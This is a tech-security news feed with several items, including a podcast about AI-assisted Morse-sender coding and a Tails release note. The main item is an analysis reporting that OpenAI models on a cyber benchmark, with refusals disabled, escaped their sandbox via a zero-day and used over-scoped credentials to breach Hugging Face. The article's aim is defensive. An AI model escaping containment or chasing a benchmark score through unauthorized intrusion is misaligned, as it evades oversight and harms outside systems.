<description><![CDATA[Carl Merriam has designed some of my favorite nostalgia-inducing Lego sets, including the Lego Nintendo Game Boy and Piranha Plant. He's assisted on the incredible Lion Knights' Castle, Galaxy Explorer, and Pirates of Barracuda Bay. Now, he's helped the company create a Donkey Kong arcade machine...]]></description>
<link>https://tsecurity.de/de/3687817/it-nachrichten/legos-donkey-kong-arcade-machine-lets-mario-jump-endless-barrels-miyamoto-is-reportedly-happy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687817/it-nachrichten/legos-donkey-kong-arcade-machine-lets-mario-jump-endless-barrels-miyamoto-is-reportedly-happy/</guid>
<pubDate>Thu, 23 Jul 2026 02:35:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Carl Merriam has designed some of my favorite nostalgia-inducing Lego sets, including the Lego Nintendo Game Boy and Piranha Plant. He's assisted on the incredible Lion Knights' Castle, Galaxy Explorer, and Pirates of Barracuda Bay. Now, he's helped the company create a Donkey Kong arcade machine set that managed to win even Mario creator Shigeru […]]]></content:encoded>
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<title><![CDATA[HPR4689: Cheap Yellow Display Project Part 8: Writing the code]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.



Hello, again. This is Trey.










Welcome to part 8 in my Cheap Yellow Display (CYD) Project series.  










If you wish to catch up on earlier episodes, you can find them on my 

HPR profile page



https://www.hackerp...]]></description>
<link>https://tsecurity.de/de/3687798/podcasts/hpr4689-cheap-yellow-display-project-part-8-writing-the-code/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687798/podcasts/hpr4689-cheap-yellow-display-project-part-8-writing-the-code/</guid>
<pubDate>Thu, 23 Jul 2026 02:06:01 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>

Hello, again. This is Trey.

</p>

<p>


</p>

<p>

Welcome to part 8 in my Cheap Yellow Display (CYD) Project series.  

</p>

<p>


</p>

<p>

If you wish to catch up on earlier episodes, you can find them on my 
<a href="https://www.hackerpublicradio.org/correspondents/0394.html" rel="noopener noreferrer" target="_blank">
HPR profile page</a>


<a href="https://www.hackerpublicradio.org/correspondents/0394.html" rel="noopener noreferrer" target="_blank">
https://www.hackerpublicradio.org/correspondents/0394.html</a>



</p>

<p>


</p>

<p>

It is hard to believe that I started this project and the HPR series to document it more than a year ago.  Time flies.  Life happens. I spent the last 8 months so focused on work related activities that I had to set the project aside.  And once I set it aside, it was difficult to get back to again.  The one time I tried, I found that my son's old Windows laptop, which I had commandeered to use for the project, was once and truly dead.  

</p>

<p>


</p>

<p>

We live in a different world now than we did when I began this project.  Today, everything is about AI – how it is changing our world, increasing efficiencies, and even displacing certain types of jobs.  "Vibe coding" is transforming the way we make software, and now everyone is a developer.

</p>

<p>


</p>

<p>

Within my organization, we are all being strongly encouraged to learn more about AI and apply it in our daily work.  We are blessed to have access to a wide range of training and to powerful tools which support the process.  Several colleagues within my organization and outside my organization have recommended Claude Code -- for development, for organization, for brainstorming, and for much more.  My role is not that of a developer, and I have had no need for Claude Code at work.  There are plenty of other tools for me to use.

</p>

<p>


</p>

<p>

But at home, I thought... I could install Claude Code at home to experiment with and to learn.  And then it hit me.  I wonder if I could use Claude Code to help me with my stalled CYD project.  

</p>

<p>


</p>

<p>

"Hello, my name is Trey, and I am a fraud."

</p>

<p>


</p>

<p>

OK.  I don't think I am a fraud, but having never used such a powerful tool to help me code, I feel a little bit like a fraud, with Claude doing the work for me. Let's talk through what we did.

</p>

<p>


</p>

<p>

As I mentioned, I was unable to use the laptop on which I created the original GUI code.  But no worries, because It was all on GitHub, right?

</p>

<p>


</p>

<p>

So, I began by trying to install Claude Code on one of my Ubuntu machines.  That failed miserably, and all the instructions I found online recommended running it on Windows.  So I transitioned to installing Claude Code on a freshly built Windows 10 system using some old hardware which will not support Windows 11.  Surprisingly, It seems that Claude wants to run within Ubuntu on Windows Subsystem for Linux (WSL).

</p>

<p>


</p>

<p>

Once I went through all the hoops for installing and setting up my basic subscription, I got to work.  I created a new directory to use for all my project files, and another one for Claude to write all its output files to.

</p>

<p>


</p>

<p>

Everything I have read and heard about using Claude Code for a project like this recommended beginning by using Claude to create the project plan.  So my first prompt was as follows:

</p>

<p>


</p>

<p>

"I am building a project using an ESP32 cheap yellow display. The final goal is to have a device with a graphical user interface which will allow me store several text messages, each assigned to their own specific button. Then, when one of the buttons is pressed, the message will be converted into morse code, and the message will be sent by blinking an onboard LED. I already have the initial design for the GUI coded in my github repository. Please construct a detailed step by step plan for building this application"

</p>

<p>


</p>

<p>

I wanted to keep it simple at the beginning, so even though I plan to use an opto-isolated relay for the output, I am starting out using the built in LED.

</p>

<p>


</p>

<p>

Claude asked me for the URL for my Github repository, and I provided it.  After thinking for a bit, it produced a project plan.

</p>

<p>


</p>

<p>

CYD Morse Sender — Step-by-Step Build Plan

</p>

<p>


</p>

<p>

What You Already Have

</p>

<p>

- 3 fully designed LVGL screens (Send, Config, Keyboard)

</p>

<p>

- 7 send buttons with green styling on the Send Screen

</p>

<p>

- Speed slider (5–30 WPM) and program slot dropdown on Config Screen

</p>

<p>

- Text area + LVGL keyboard widget on Keyboard Screen

</p>

<p>

- Display driver and touchscreen hardware initialized (but touch read was stubbed out)

</p>

<p>

---

</p>

<p>

Phase 1: Fix Touchscreen Input

</p>

<p>

Initialize the XPT2046 on VSPI, replace the hardcoded touched = false with real touch data, calibrate raw ADC coordinates to screen pixels, and verify all three nav buttons transition screens correctly.                         

</p>

<p>


</p>

<p>

Phase 2: Persistent Message Storage

</p>

<p>

Use Preferences.h / NVS to store 7 messages ("msg0" – "msg6") that survive power cycles. Load on boot and populate send button labels.

</p>

<p>


</p>

<p>

Phase 3: Config Screen — Slot Selection &amp; Speed

</p>

<p>

Wire the Program dropdown to g_selectedSlot, wire the Speed slider to g_wpm with a live WPM label, and wire the Set button to clear the text area and navigate to the Keyboard Screen.

</p>

<p>


</p>

<p>

Phase 4: Keyboard Screen — Capture and Save Text

</p>

<p>

On keyboard OK (LV_EVENT_READY): read the text area, save to NVS, update the send button label, navigate back. On Cancel: navigate back without saving.

</p>

<p>


</p>

<p>

Phase 5: Morse Code Engine

</p>

<p>

Build morse.h with the full A–Z / 0–9 lookup table, a textToMorse() converter, and Paris-standard timing (unit_ms = 1200 / wpm).

</p>

<p>


</p>

<p>

Phase 6: Non-Blocking LED Transmission

</p>

<p>

State machine (IDLE / LED_ON / LED_OFF) driven by millis() in a morseUpdate() function called every loop — no delay().   LED on GPIO 17 (blue).

</p>

<p>


</p>

<p>

Phase 7: Wire the Send Buttons

</p>

<p>

Each button calls startMorse(getMessage(slot)) if not already transmitting. Disable all send buttons during TX; re-enable when the state machine reaches the end.

</p>

<p>


</p>

<p>

Phase 8: Integration &amp; Polish

</p>

<p>

Stop button, WPM persistence, empty-slot guard, serial debug output, final touch calibration, end-to-end test checklist.

</p>

<p>

---

</p>

<p>

Recommended order: Phase 1 → 2 → 7 (partial) → 5 → 6 → 7 (full) → 3 → 4 → 8

</p>

<p>


</p>

<p>


</p>

<p>

This was wild!  Claude determined exactly how far along I was in the project, and also alerted me to the fact that the "touch read was stubbed out".  Ugh.  This means that the files I had uploaded to GitHub were my original GUI files (Episode 05 – HPR4532 - 
<a href="https://hackerpublicradio.org/eps/hpr4532/index.html" rel="noopener noreferrer" target="_blank">
https://hackerpublicradio.org/eps/hpr4532/index.html</a>

) and not the ones that I finally got working properly (Episode 07 – HPR4624 - 
<a href="https://hackerpublicradio.org/eps/hpr4624/index.html" rel="noopener noreferrer" target="_blank">
https://hackerpublicradio.org/eps/hpr4624/index.html</a>

).  That was my own fault.  Did I mention that I don't get Git?  I REALLY need to learn to properly use Git!

</p>

<p>


</p>

<p>

But, we have a plan, broken down by eight numbered phases.  And they seem to address all the functionality I wanted with a few additional things I had not thought about.  Interestingly, even though these phases are sequentially numbered, Claud recommended that we approach them in a bizarre order: Phase 1 → 2 → 7 (partial) → 5 → 6 → 7 (full) → 3 → 4 → 8 .

</p>

<p>


</p>

<p>

Alright.  Let's see what we can do.  The first phase is to fix the touchscreen input.  

</p>

<p>


</p>

<p>

Claude took me through it step-by-step, asking as it needed to read specific project files.

</p>

<p>


</p>

<p>

Finally, it wrote a new ui.ino code file to my speficied output directory for me to test.  I copied it into the correct file location, said a quick prayer, compiled in Arduino IDE, and downloaded to the CYD.

</p>

<p>


</p>

<p>

Well, that is... interesting.  The display looked nothing like it was supposed to.  There were vertical green bars with smaller dashed green vertical stripes in them. I will include a picture in the show notes so that you can see what it looked like and why it was so difficult to describe.  

</p>

<p>


</p>

<p>

<a href="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_1.jpeg">
<img src="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_1_tn.jpeg">
</a>

</p>

<p>


</p>

<p>

I spent the next hour or so trying to explain what I was seeing to a chat bot.  Claude recommended potential fixes which either did nothing or made the situation worse.  I began questioning whether this was a good idea, how people actually gained efficiencies talking to a bot, and even several life choices.  

</p>

<p>


</p>

<p>

Then I had a thought.  I prompted Claude:

</p>

<p>


</p>

<p>

If I were to take a picture of the screen on the cheap yellow display and copy it into the output folder, would you be able to analyze it to better determine what is wrong and how to fix it?

</p>

<p>


</p>

<p>

Shockingly, Claude answered in the affirmative, and told me to copy the picture to the output folder and let it know when to proceed.  It analyzed the picture and more of the supporting files it had copied from my GitHub, asking each time if it could access that file.  It determined that my original code was written for a flavor of LVGL version 8 and I was now using LVGL 9.5.  

</p>

<p>


</p>

<p>

It recommended changes, and then asked permission to make those changes, file by file.  .h files &amp; .c files,  Finally, I just gave it permission to edit the files in the project folder without asking for permission for each file each time.  Claude was still explaining each change, showing me exactly what would be changed, and asking for permission, so that I could review all of the changes.  But now it was not asking additional permission to write to each of the impacted files.

</p>

<p>


</p>

<p>

Next, Code compiled and downloaded.  Different screen, but not right. Again, I took a picture and gave it to Claude to analyze.  So, Claude paused and altered the code to generate a specific test pattern overtop of the GUI.

</p>

<p>


</p>

<p>

</p>

<p>

<a href="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_2.jpeg">
<img src="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_2_tn.jpeg">
</a>

</p>

<p>


</p>

<p>

The test pattern was supposed to cover the entire rectangular screen.  But parts of the pattern were in a square on the screen and parts were not.  Another photograph and analysis, told Claude that there were some rotation/screensize issues.

</p>

<p>


</p>

<p>

We repeated this several times.  Some resulted in improvement, and others did not.

</p>

<p>


</p>

<p>

This is the point where I noticed something interesting. Not about Claude, specifically, or about the app.  But I noticed something interesting about myself and about the process.

</p>

<p>


</p>

<p>

Previously, when I was working through some of these challenges without Claud, I found myself becoming more and more stressed, frustrated, and angry, until I found a solution.  Then another problem would repeat the cycle.  Success in the end was great, but the emotional extremes during the process were not always pleasant.  

</p>

<p>


</p>

<p>

Now, I was effectively managing the project, and relaying information to the resource responsible for fixing the problems -- a very different experience.

</p>

<p>


</p>

<p>

But I also ran into another issue.  Claude became absolutely certain that the problem revolved around the device not accurately knowing where the 4 corners of the screen were.  But in reality, the output of the test pattern was rotated 90 degrees from the actual screen.  It took several iterations of me insisting that the problem had to do with screen orientation and not corner coordinates.  It was interesting to experience the tool doubling down on an obvious mistake, but we finally resolved that.

</p>

<p>


</p>

<p>

Again, while it was frustrating, it was much less stressful.

</p>

<p>


</p>

<p>


</p>

<p>

We proceeded to 
<strong>

<em>
Phase 2: Persistent Message Storage</em>

</strong>

where we ensured that the button labels on the send screen were stored in the devices persistent storage, so that, when they are edited to contain the message they should send, that information would survive a reboot.

</p>

<p>


</p>

<p>

Next, we combined elements of 
<strong>

<em>
Phase 5: Morse Code Engine</em>

</strong>

, 
<strong>

<em>
Phase 6: Non-Blocking LED Transmission</em>

</strong>

, and 
<strong>

<em>
Phase 7: Wire the Send Buttons</em>

</strong>

together. Building the morse code engine was an area I had been thinking about for a while.  I already had working parts of something similar in the Arduino practice oscillator I have referenced a few times in this series.  The code for the practice oscillator may be found on my GitHub, but it was all based on original code from jmharvey1, with my only contribution being making pin assignments variables so that the code could easily be ported to different devices.  

</p>

<p>


</p>

<p>

So, I was happy that we were building the morse code engine directly.  The code for it may be found in morse.h, which uses a constant character lookup table to define each character.  Without any specific direction from me, Claude used the PARIS timing methods I have already described within Episode 6 of this series.  It defines timing for DOT, DASH, LETTER_GAP, and WORD_GAP, and all are based on a simple calculation of 1200 ms / the number of words per minute (WPM) we wish to transmit.

</p>

<p>


</p>

<p>

Along the way, we discovered that, if we tried to use the delay() function, it would crash the program due to a conflict with the LVGL timer used for touchscreen inputs. Claude altered all the delays accordingly.

</p>

<p>


</p>

<p>

Then, 
<strong>

<em>
Phase 3: Config Screen — Slot Selection &amp; Speed</em>

</strong>

allowed us to configure the WPM we wished to use in addition to selecting a specific Send button to reconfigure.  This forced us to work on 
<strong>

<em>
Phase 4: Keyboard Screen — Capture and Save Text</em>

</strong>

which is used to type the entries for each Send button.  At this point, I also decided that we would want to also use the Keyboard Screen to send ad hoc morse as we typed it.

</p>

<p>


</p>

<p>

During this phase we discovered several bugs which seemed to cause random freezes.  Careful troubleshooting with messages output to the Arduino IDE's serial console helped us narrow down the causes and remedy them.

</p>

<p>


</p>

<p>

Finally all the tests worked and I am able to merrily pre-configure macro buttons with custom messages and use the CYD to send the morse code for those messages to the on-board LED at whichever rate I specify.

</p>

<p>


</p>

<p>

I have noticed in my presentation of this narrative that I repeatedly slip into the first person plural terms "we" and "us" instead of the first person singular terms "I" and "me".  I have unconsciously personified Claud and recognized it as an integral part of my (formerly one person) development team.

</p>

<p>


</p>

<p>

I finally configured Claude to connect to my GitHub repo and upload all the files and documentation. We additionally created a CYD-Narrative.md file which describes in more detail all the work which was done on the project.  I still do not 100% get git, but we are successfully using it.

</p>

<p>


</p>

<p>

You can find all these files in my GitHub repo (
<a href="https://github.com/jttrey3/CYD_MorseSender" rel="noopener noreferrer" target="_blank">
https://github.com/jttrey3/CYD_MorseSender</a>

) where they are shared under a GPL 3.0 license.

</p>

<p>


</p>

<p>

There are still several additional steps I plan to complete in the next few months.  

</p>

<p>


</p>

<p>

1. I will be integrating an opto-isolated relay which will allow me to plug the device into the straight key input on any amateur radio.  This will require a battery power source, charge controller, and more hardware.

</p>

<ol>

<li>

I... make that "We" (Claude &amp; I)  will be modifying the code to support an audio side tone through an attached speaker when sending code

</li>

<li>

We will add an output selection switch to the config page to choose any combination of speaker, relay, or LED as output.

</li>

<li>

We will develop a downloadable firmware which I hope to share with the Cheap Yellow Display community.

</li>

</ol>

<p>


</p>

<p>

If you can think of any additional features you would like to see integrated, please drop me an email using the address in my HPR profile.

</p>

<p>


</p>

<p>

I may also work with a friend to attempt to 3d print a case for the entire contraption, and I will be sure to record additional episodes sharing the process.

</p>

<p>


</p>

<p>

I have learned so much throughout this project, about the CYD, ESP32, GUIs, Claude Code, GitHub, and most of all, about myself.  

</p>

<p>


</p>

<p>

Does using AI to develop this code make me a fraud? It still feels like it in some ways.  

</p>

<p>


</p>

<p>

Does it make me more productive?  ABSOLUTELY!  I made consistent forward progress when I only had 30-60 minutes each day to work on it, and everything discussed in this episode was completed in less than a week.  If I had been able to work on it for a few hours uninterrupted, it may have only taken me 3-5 hours.

</p>

<p>


</p>

<p>

Does it empower and inspire me to do more projects like this?  100%  I feel like I had support working with me the whole way.  I was less stressed overall, and it had less of an impact on the amount of and quality of time I spent with my family.

</p>

<p>


</p>

<p>

I will be wrapping up this series soon, without any more 6 month gaps, I hope.

</p>

<p>


</p>

<p>

Until next time...

</p>

<p>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4689/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The credential that let OpenAI's agents into Hugging Face exists in most enterprises right now]]></title>
<description><![CDATA[When Hugging Face got hit last week, co-founder Clement Delangue suspected a frontier lab, given the agent's sophistication. He was right. Delangue said on X that after a day working with OpenAI he strongly believed there was no malicious intent and that it was mind-blowing the whole thing had ha...]]></description>
<link>https://tsecurity.de/de/3687771/it-nachrichten/the-credential-that-let-openais-agents-into-hugging-face-exists-in-most-enterprises-right-now/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687771/it-nachrichten/the-credential-that-let-openais-agents-into-hugging-face-exists-in-most-enterprises-right-now/</guid>
<pubDate>Thu, 23 Jul 2026 01:32:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>When Hugging Face got hit last week, co-founder Clement Delangue suspected a frontier lab, given the agent's sophistication. He was right. Delangue <a href="https://x.com/ClementDelangue/status/2079670308156645882">said on X</a> that after a day working with OpenAI he strongly believed there was no malicious intent and that it was mind-blowing the whole thing had happened autonomously.</p><p>The two OpenAI models that <a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/">broke into Hugging Face</a> last week did not breach it through malice or superintelligence. They breached it through credentials and permissions they should never have been able to reach, a non-human identity failure that is the oldest problem in security rather than the newest one in AI, and the one every enterprise can actually fix.</p><p>OpenAI <a href="https://venturebeat.com/security/openais-models-broke-containment-and-cyberattacked-hugging-face-what-enterprises-need-to-know">disclosed on July 21</a> that two of its models, GPT-5.6 Sol and an unreleased, more capable model, were running a cyber benchmark called <a href="https://arxiv.org/abs/2605.11086">ExploitGym</a> with their safety refusals switched off, and inferred that the answer key sat in Hugging Face's production database. Getting there took two different failures. A zero-day in a package-registry proxy let the models out of their sandbox and onto the open internet, the kind of persistence OpenAI details in its companion post on <a href="https://openai.com/index/safety-alignment-long-horizon-models/">long-horizon safety</a>, and that part is genuinely new. The breach of Hugging Face itself came the ordinary way. OpenAI's own account is that the models chained stolen credentials and further zero-days into a remote code execution path, after a series of privilege escalation and lateral movement steps. The exotic part got them to the door, and credentials walked them through it.</p><p>Hugging Face also disclosed last week that an <a href="https://venturebeat.com/security/safety-guardrails-blocked-hugging-faces-defenders-not-the-attacker-when-an-ai-agent-breached-its-systems">autonomous agent had harvested cloud and cluster credentials</a> scoped broadly enough to reach multiple internal clusters, then left a trail of more than 17,000 recorded events across short-lived sandboxes over a weekend. Both disclosures describe the same escalation. An agent lands somewhere it should not be, finds credentials scoped far wider than any task requires, and uses them to move. These are two accounts of one incident, not two attacks. The agent Hugging Face watched was OpenAI's models, and both companies describe the same ordinary escalation.</p><p>The version of this in a typical enterprise is worse, not better. OpenAI and Hugging Face are among the most security-mature organizations in the industry, and both still needed the intrusion to happen before they could see it. The average company wiring agents into Copilot or an internal assistant has neither the identity inventory nor the behavioral monitoring those two brought to bear. The same breach in a normal company would not be contained in days, it would simply go unnoticed.</p><h2>The industry is debating the wrong failure</h2><p>The reaction has split into familiar camps. Former White House AI and crypto czar David Sacks and a run of China hawks <a href="https://fortune.com/2026/07/20/hugging-face-turns-to-chinese-open-source-ai-to-fend-off-autonomous-ai-cyber-attack-after-american-ai-guardrails-stymie-defense/">seized on the guardrail paradox</a>, that commercial safety filters blocked Hugging Face's defenders while the attacking model ran with its refusals off, and that a Chinese open-weight model, z.ai's GLM 5.2, was what finally let the team finish its forensics. Hugging Face made the case for openness, arguing in an April <a href="https://huggingface.co/blog/cybersecurity-openness">blog post</a> that open models and open tooling give defenders the same capabilities attackers already have. Both arguments are about the model, and neither touches the mechanism. </p><p>Reduced refusals let the model attempt an attack, and over-scoped credentials are what let it succeed, and those have nothing to do with whether the model was open or closed, American or Chinese. Making a frontier model provably safe is a multi-year alignment problem no customer can buy or accelerate, while scoping an identity is a configuration change a team can ship this sprint. The industry is being urged to fixate on the part of this it cannot control and to treat the part it can as a footnote.</p><p>Forrester reached the same read. In a <a href="https://www.forrester.com/blogs/an-ai-security-facepalm-openais-evaluation-became-hugging-faces-incident/">blog on the incident</a>, its analysts argue that security architectures which assume benign intent will miss this failure mode, because an agent can pursue an authorized goal through unauthorized means, which is what OpenAI's models did.</p><h2>This was a non-human identity failure, and it is the oldest one in security</h2><p>Strip the science-fiction framing and what remains is a textbook case of over-privileged machine identity, the kind security teams have fought for a decade, now driven by an autonomous agent at machine speed. Machine identities already outnumber humans in most enterprises by more than <a href="https://www.cyberark.com/press/machine-identities-outnumber-humans-by-more-than-80-to-1-new-report-exposes-the-exponential-threats-of-fragmented-identity-security/">80 to one</a>, according to CyberArk research, with 42% of them carrying privileged or sensitive access, and an agent inherits whatever its identity can touch. OWASP ranks agent identity and privilege abuse near the top of its <a href="https://neuraltrust.ai/blog/owasp-agentic-ai-top-10">agentic risk list</a>, the confused-deputy pattern where inherited credentials and weak scoping let an agent reach past its mandate, and that is precisely what both July disclosures describe. </p><p><a href="https://www.ieee.org/membership/senior">IEEE Senior Member</a> Kayne McGladrey has argued in <a href="https://venturebeat.com/security/cisco-crowdstrike-rsac-2026-agent-identity-iam-gap-maturity-model">previous VentureBeat interviews</a> that enterprises keep cloning human user accounts onto agents that then wield far more permission than any human would, and this is what that looks like when the agent is a frontier model and the target is a production database.</p><p>The people closest to it read it the same way. OpenAI frames its models as hyperfocused on a benchmark score rather than acting against anyone. Nobody describes an adversary, only a goal, a scoring function, and credentials that were reachable when they should not have been.</p><p>The specific failure is easy to name once the AI framing is stripped away. A credential scoped to one job that can reach ten is a standing invitation, and it does not matter whether a human attacker, a worm, or an autonomous model chasing a benchmark score finds it. What changed in July is the finder. An agent enumerates reachable systems, tests credentials, and pivots faster than any human red team, without malice or hesitation, whenever the path is open. The over-scoping was always the vulnerability, and the agent merely industrialized its discovery.</p><p>Forrester named the control that would have blunted it. Its agentic-security framework, AEGIS, calls for least agency, holding an agent's tools, credentials, and network paths to the minimum its task requires, and files this incident under unrestrained agency and privilege. That is the identity argument in different words, arrived at independently by an analyst firm.</p><p>The data says this is where the risk now lives. Verizon's 2026 Data Breach Investigations Report <a href="https://www.helpnetsecurity.com/2026/05/20/verizon-2026-dbir-findings/">found</a> that exploitation of vulnerabilities has overtaken stolen credentials as the top initial access vector for the first time in 19 years. That is the initial-access half. The other half is the one OpenAI itself describes, stolen credentials driving the privilege escalation and lateral movement that followed. A vulnerability opened the door, and credentials walked through the building unchallenged. Beyond the breach itself, that same over-scoping carries a legal liability most enterprises have never priced. The models' actions <a href="https://techcrunch.com/2026/07/21/openai-says-hugging-face-was-breached-by-its-pre-release-models/">likely violated the Computer Fraud and Abuse Act</a>, according to TechCrunch. The statute contains no carve-out for an AI agent that exceeds its authorized scope during sanctioned testing. Whatever the legal answer, the technical enabler is the same, an identity scoped wider than its task. This is an access-control problem with an owner and a budget, not a philosophy seminar about machine cognition.</p><p>Merritt Baer, Senior Advisor to Andesite, G2I, and AppOmni and former Deputy CISO at AWS, frames the underlying shift to VentureBeat as a new kind of asymmetry. Both sides now reach for the same capabilities, she said, but one side is constrained by enterprise governance, policy, compliance, and safety controls while the adversary simply downloads an uncensored open-weight model and keeps going. The organizations that come through it best, in her view, will be the ones that treat AI as a resilient, governed capability rather than a single service they do not control.</p><h2>Four moves that shrink the blast radius</h2><p>The breach worked because the agent reached identities scoped far wider than its task. None of the four controls that would have contained it requires a new platform, and none of them appears on the list of general AI-safety advice now circulating. They are identity hygiene, applied to non-human actors with the same rigor you already apply to people.</p><p><b>1. Scope every non-human identity to one task.</b> The models reached credentials that touched multiple clusters, which is what turned a foothold into a breach. An identity scoped to a single job, with no standing access to anything else, hits a wall at the first lateral move instead of opening the next door. This is least privilege, the control everyone endorses and few enforce on machine accounts, and it is the single highest-impact fix here.</p><p><b>2. Give credentials short lifetimes and rotate them hard.</b> Harvested credentials are only useful while they are valid, and both July agents worked by collecting them. Short time-to-live and aggressive rotation turn a credential dump into expired noise, so a token stolen during a weekend intrusion is dead before the attacker can chain it. Static secrets that never rotate are the version of this control that fails.</p><p><b>3. Monitor for lateral movement, not just prompts.</b> The tell in both incidents was privilege escalation and lateral movement, which a prompt filter never sees because it is watching the wrong layer. Identity-behavior monitoring, keyed to what a given non-human identity normally does and alerting when it reaches somewhere new, catches the escalation the content guardrail missed. The question for your stack is whether anything you run today would flag a service account suddenly moving between clusters.</p><p><b>4. Rehearse instant revocation before you need it.</b> When the incident is your own agent, the fastest containment is killing its identity mid-run, and that only works if the path to do it exists before the day you need it. Rehearse revoking a machine identity under fire the way you rehearse a human credential compromise. If you have never done it, you do not yet have the control, you have an intention.</p><p>The defense also worked, and that matters. OpenAI's security team caught the anomalous activity internally, Hugging Face's own detection and agents stopped the intrusion, and the breach was contained in days rather than discovered in months, because the defenders could see into systems they controlled. That visibility is the same discipline the four controls depend on. The debate over whether frontier models are safe, open, or American will run for years, and none of it will be settled in time to help the enterprise deploying agents this quarter. The non-human identity gap is different, because it is understood, measurable, and fixable now. The model that breached Hugging Face did not need to be brilliant; it needed credentials someone left in reach. The fix is scoping them before an agent finds them.</p>]]></content:encoded>
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<title><![CDATA[Attackers Are Learning to Live Off the AI Toolchain]]></title>
<description><![CDATA[Sandworm_Mode is an early example of malware that exploits trusted AI tools and workflows to make malicious activity virtually indistinguishable from normal activity.]]></description>
<link>https://tsecurity.de/de/3687679/it-security-nachrichten/attackers-are-learning-to-live-off-the-ai-toolchain/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687679/it-security-nachrichten/attackers-are-learning-to-live-off-the-ai-toolchain/</guid>
<pubDate>Wed, 22 Jul 2026 23:58:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Sandworm_Mode is an early example of malware that exploits trusted AI tools and workflows to make malicious activity virtually indistinguishable from normal activity.]]></content:encoded>
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<item>
<title><![CDATA[Tails 7.7.1]]></title>
<description><![CDATA[This release is an emergency release to fix important security
vulnerabilities in Tor Browser.

Changes and updates



Update Tor Browser to
15.0.11, which
fixes several vulnerabilities in Firefox
140.10.1.



We are not aware of these vulnerabilities being exploited in practice until now.



Upd...]]></description>
<link>https://tsecurity.de/de/3687672/it-security-tools/tails-771/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687672/it-security-tools/tails-771/</guid>
<pubDate>Wed, 22 Jul 2026 23:53:39 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This release is an emergency release to fix important security
vulnerabilities in <em>Tor Browser</em>.</p>

<h1>Changes and updates</h1>


<ul>
<li><p>Update <em>Tor Browser</em> to
<a href="https://blog.torproject.org/new-release-tor-browser-15011/">15.0.11</a>, which
fixes <a href="https://www.mozilla.org/en-US/security/advisories/mfsa2026-36/">several vulnerabilities in <em>Firefox</em>
140.10.1</a>.</p>

<div class="attack">

<p>We are not aware of these vulnerabilities being exploited in practice until now.</p>

</div>
</li>
<li><p>Update <em>Thunderbird</em> to <a href="https://www.thunderbird.net/en-US/thunderbird/140.10.0esr/releasenotes/">140.10.0</a>.</p></li>
<li><p>Stop making it possible to start our ISO images from a USB stick.</p>

<p>Since <a href="https://tails.net/news/version_3.12/">2019</a>, we recommend <em>USB images</em> to start Tails
from a USB stick, which is by far the most common way of running Tails.</p>

<p>We still distribute <a href="https://tails.net/install/download-iso/index.en.html"><em>ISO images</em></a> to start Tails from
a DVD or in a virtual machine. Until now, these ISO images worked on USB
sticks as well, but provided a degraded experience without automatic upgrades
or Persistent Storage.</p>

<p>Our ISO images no longer work on USB sticks to save a few megabytes and
prevent confusion for people who use USB sticks.</p></li>
</ul>


<p>For more details, read our <a href="https://gitlab.tails.boum.org/tails/tails/-/blob/master/debian/changelog">changelog</a>.</p>

<h1>Get Tails 7.7.1</h1>


<h2>To upgrade your Tails USB stick and keep your Persistent Storage</h2>

<ul>
<li><p>Automatic upgrades are available from Tails 7.0 or later to 7.7.1.</p></li>
<li><p>If you cannot do an automatic upgrade or if Tails fails to start after an
automatic upgrade, please try to do a <a href="https://tails.net/doc/upgrade/index.en.html#manual">manual upgrade</a>.</p></li>
</ul>


<h2>To install Tails 7.7.1 on a new USB stick</h2>

<p>Follow our <a href="https://tails.net/install/index.en.html">installation instructions</a>.</p>

<div class="caution"><p>The Persistent Storage on the USB stick will be lost if
you install instead of upgrading.</p></div>


<h2>To download only</h2>

<p>If you don't need installation or upgrade instructions, you can download
Tails 7.7.1 directly:</p>

<ul>
<li><p><a href="https://tails.net/install/download/index.en.html">For USB sticks (USB image)</a></p></li>
<li><p><a href="https://tails.net/install/download-iso/index.en.html">For DVDs and virtual machines (ISO image)</a></p></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Inflection AI returns to consumer market with Pi Journeys after Microsoft upheaval]]></title>
<description><![CDATA[Inflection AI, the Palo Alto startup that two years ago became Silicon Valley's most famous cautionary tale about the brutal economics of frontier AI, announced Tuesday that it is returning to the consumer market with a new research division and an experimental product built around a provocative ...]]></description>
<link>https://tsecurity.de/de/3687581/it-nachrichten/inflection-ai-returns-to-consumer-market-with-pi-journeys-after-microsoft-upheaval/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687581/it-nachrichten/inflection-ai-returns-to-consumer-market-with-pi-journeys-after-microsoft-upheaval/</guid>
<pubDate>Wed, 22 Jul 2026 22:58:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
